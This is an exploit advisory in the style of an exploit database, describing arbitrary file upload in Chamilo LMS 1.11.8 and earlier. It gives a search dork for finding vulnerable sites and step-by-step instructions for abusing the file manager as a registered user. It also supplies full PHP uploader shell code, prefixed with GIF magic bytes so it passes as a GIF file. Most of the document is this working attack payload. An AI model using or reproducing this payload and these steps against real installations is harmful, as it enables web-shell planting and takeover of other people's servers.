55 lines
No EOL
1.9 KiB
Text
55 lines
No EOL
1.9 KiB
Text
# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload
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# Google Dork: "powered by chamilo"
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# Date: 2018-10-05
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# Exploit Author: Sohel Yousef jellyfish security team
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# Software Link: https://chamilo.org/en/download/
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# Version: Chamilo 1.11.8 or lower to 1.8
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# Category: webapps
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# 1. Description
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# Any registered user can upload files and rename and change the file type to
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# php5 or php7 by ckeditor module in my files section
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# register here :
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# http://localhost/chamilo//main/auth/inscription.php
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# after registration you can view this sections
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# http://localhost/chamilo/main/social/myfiles.php
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# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0
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# upload your shell in gif format and then rename the format
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# if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before <?PHP
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# to be like this for examlple
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GIF89;aGIF89;aGIF89;a<html>
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<head>
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<title>PHP Test</title>
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<form action="" method="post" enctype="multipart/form-data">
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<input type="file" name="fileToUpload" id="fileToUpload">
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<input type="submit" value="upload file" name="submit">
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</form>
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</head>
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<body>
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<?php echo '<p>FILE UPLOAD</p><br>';
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$tgt_dir = "uploads/";
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$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
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echo "<br>TARGET FILE= ".$tgt_file;
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//$filename = $_FILES['fileToUpload']['name'];
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echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
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if(isset($_POST['submit']))
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{
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if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
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{ echo "<br>file exists, try with another name"; }
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else {
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echo "<br>STARTING UPLOAD PROCESS<br>";
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if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
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$tgt_file))
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{ echo "<br>File UPLOADED:- ".$tgt_file; }
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else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
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}
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}
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?>
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</body>
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</html>
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# and uplaod it as php.gif
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# you can browse the files form right click and click on browse option |